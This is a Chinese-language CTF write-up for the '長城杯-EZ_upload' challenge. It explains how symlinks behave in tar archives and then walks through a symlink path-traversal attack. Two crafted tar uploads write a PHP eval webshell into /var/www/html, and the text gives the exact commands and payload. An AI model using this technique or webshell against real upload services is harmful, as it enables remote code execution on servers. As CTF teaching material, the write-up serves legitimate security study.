1.符號連接是什么
符號鏈接(symbolic link,也叫軟鏈接)本質上是一個 指向路徑的特殊文件。
例如:
ln -s /etc/passwd passwd_link
這會創建一個叫 passwd_link
的文件,但它本身不存放 /etc/passwd
的內容,而是存放了一個“指針”,告訴操作系統“真正的數據在 /etc/passwd
里”。當訪問 passwd_link 的時候,會訪問到/etc/passwd 中的內容。
如圖所示,執行該命令后會在該文件夾中產生一個 passwd_link 文件,當訪問該文件時,我會訪問到/etc/passwd 的內容。
2. tar 打包符號鏈接時的處理
當 tar
遇到符號鏈接時,它 不會復制鏈接指向的文件內容,而是把“這是一個符號鏈接,它指向哪里”這一事實記錄到歸檔里。
tar -cvf test.tar passwd_link
3.tar 解壓符號連接的處理
tar -xvf test.tar# 解壓到 /tmp 目錄
tar -xvf archive.tar -C /tmp
tar 會在當前目錄下重新創建一個符號鏈接 passwd_link
,指向 /etc/passwd
。
4.實戰 長城杯-EZ_upload
(1)第一次上傳 tar 包
? ? ?目的:
? ? ? ? ? 在 /tmp
目錄下創建一個符號鏈接文件 link
,該符號鏈接指向:/var/www/html
,訪問該鏈接文件/tmp/link
就等價于 /var/www/html。
操作:
# 1.制作符號鏈接,當訪問link時,相當于訪問/var/www/html
ln -s /var/www/html link#2.壓縮符號鏈接
tar -cvf test.tar link
接下來將 test.tar 上傳即可,上傳后會自動將該文件解壓到/tmp/文件下,即/tmp/link。
(2)第一次上傳 tar 包
- 創建一個包含 webshell文件的tar包,路徑設置為 link/shell.php。
- 在/tmp 目錄中解壓時,會把文件解壓到 /tmp/link/shell.php,由于link 是指向 /var/www/html 的,實際寫入位置是 → /var/www/html/shell.php。
代碼實現如下:
# 1.創建符號鏈接
ln -s /var/www/html link# 2.在符號鏈接目錄下創建一個文件,實際上創建的文件落在了/var/www/html/下,
echo '<?php @eval($_POST["fly233"]); ?>' > link/shell.php# 3.打包
tar -cf evil.tar link/shell.php